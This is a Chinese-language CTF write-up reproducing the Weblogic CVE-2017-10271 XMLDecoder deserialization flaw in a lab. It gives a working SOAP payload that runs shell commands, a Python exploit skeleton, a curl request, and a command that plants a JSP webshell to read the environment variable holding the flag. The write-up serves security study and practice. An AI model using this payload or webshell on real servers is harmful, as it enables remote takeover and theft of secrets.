BUUCTF-Real - Web - Weblogic CVE-2017-10271

题目信息

项 内容
比赛 BUUCTF-Real(真实漏洞复现)
方向 Web(Real)
难度 Easy
环境 授权靶场(已脱敏)
漏洞类型 Weblogic WLS-WSAT XMLDecoder 反序列化 RCE
参考 vulhub 仓库 weblogic/CVE-2017-10271(公开 PoC 复现环境)

信息收集

  • Oracle Weblogic 的 WLS Security 组件对外提供 webservice 服务(wls-wsat)。
  • 入口路径:/wls-wsat/CoordinatorPortType。
  • 参考 vulhub 官方复现方法确认回显方案(见「漏洞分析」)。

漏洞分析

漏洞原理

XMLDecoder 在解析用户提交的 XML 数据时存在反序列化漏洞,导致任意命令执行(RCE)。关键:WorkContext 头中的 <java> 块会被 XMLDecoder 反序列化执行,构造 ProcessBuilder 即可执行任意系统命令。

回显通道(关键难点)

ProcessBuilder.start() 不回显命令输出(faultstring 只返回退出码 0)。回显方案(vulhub 官方方法):写 JSP webshell 到 Weblogic 内部目录,再通过 HTTP 访问。

利用 XMLDecoder 执行 shell 命令,用 find 定位 bea_wls_internal 应用的 war 目录,把 JSP 写入其中:

1
for d in $(find / -path '*_WL_internal/bea_wls_internal/*/war' -type d 2>/dev/null); do echo <base64_jsp> | base64 -d > $d/enum.jsp; done

然后访问 http://target:8080/bea_wls_internal/enum.jsp 读取输出。

定位 flag

关键:flag 不在 /flag 文件(JSP 读 /flag 报 FileNotFoundException),而是藏在环境变量 FLAG 中。JSP 执行 env | grep -i flag 即可读出。

利用过程

1. 确认 RCE

POST /wls-wsat/CoordinatorPortType,WorkContext 头中注入 XMLDecoder payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/sh</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>CMD</string></void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

完整请求形式:

1
2
3
4
5
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: target:8080
Content-Type: text/xml

<soapenv:Envelope ...>(上方 XML payload)</soapenv:Envelope>

<void index="2"><string>CMD</string></void> 处替换成要执行的 shell 命令(如写 JSP 的 base64 解码命令)。

2. 写 JSP webshell 回显

把上面的 CMD 换成 for d in $(find / -path '*_WL_internal/bea_wls_internal/*/war' -type d 2>/dev/null); do echo <base64_jsp> | base64 -d > $d/enum.jsp; done,访问 http://target:8080/bea_wls_internal/enum.jsp 读取命令输出。

3. 读 flag

JSP 执行 env | grep -i flag,输出环境变量 FLAG(真实值已脱敏,见「Flag」段)。

完整 EXP

本题 payload_abs 为空;源 wp 提及同目录 webshell2.py / enum2.py(构造 RCE payload + 写 JSP webshell + 读 env 拿 flag)。以下为等价的最小复现骨架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib.request

HOST = "http://target:8080" # 授权靶场(已脱敏)

XML_TMPL = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/sh</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>%s</string></void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>"""

def rce(cmd):
body = XML_TMPL % cmd
req = urllib.request.Request(
HOST + "/wls-wsat/CoordinatorPortType",
data=body.encode(),
headers={"Content-Type": "text/xml"},
)
return urllib.request.urlopen(req, timeout=20).read().decode("utf-8", "ignore")

# 1. 写 JSP webshell(jsp 内容先 base64)
# rce("for d in $(find / -path '*_WL_internal/bea_wls_internal/*/war' -type d 2>/dev/null); do echo <b64> | base64 -d > $d/enum.jsp; done")
# 2. 访问 /bea_wls_internal/enum.jsp 并让其执行 env | grep -i flag
1
2
3
4
# 用 curl 直接发一次 RCE(XML 存成 poc.xml)
curl -X POST "http://target:8080/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml" \
--data-binary @poc.xml

Flag

flag{xxxx}(真实值已脱敏)。flag 位于环境变量 FLAG,由 JSP webshell 执行 env | grep -i flag 读出。

踩坑与总结

要点 说明
漏洞 WLS-WSAT XMLDecoder 反序列化 RCE
入口 POST /wls-wsat/CoordinatorPortType,WorkContext 头 XMLDecoder
回显 写 JSP 到 _WL_internal/bea_wls_internal/<hash>/war/,HTTP 访问
flag 位置 环境变量 FLAG(非 /flag 文件)
坑点 faultstring 只回显退出码,不回显 stdout,需 webshell 回显
  1. 反序列化不等于回显:ProcessBuilder.start() 只启动进程,stdout 不进响应,必须自己搭回显通道。
  2. war 目录路径带哈希:用 find ... -path '*_WL_internal/bea_wls_internal/*/war' -type d 动态定位,别写死。
  3. flag 先试环境变量:本题 /flag 文件不存在,直接读会抛 FileNotFoundException,env 才是正解。
  4. XML 里的命令要避开特殊字符:写 JSP 用 base64 传递,避免 < > & 破坏 XML 结构。
  5. 真实漏洞复现的价值在于「入口 payload + 回显方案」两件事都要打通,缺一不可。

仅记录授权靶场环境下的研究;复现脚本思路来自本地 WP 归档,真实 flag 值已脱敏。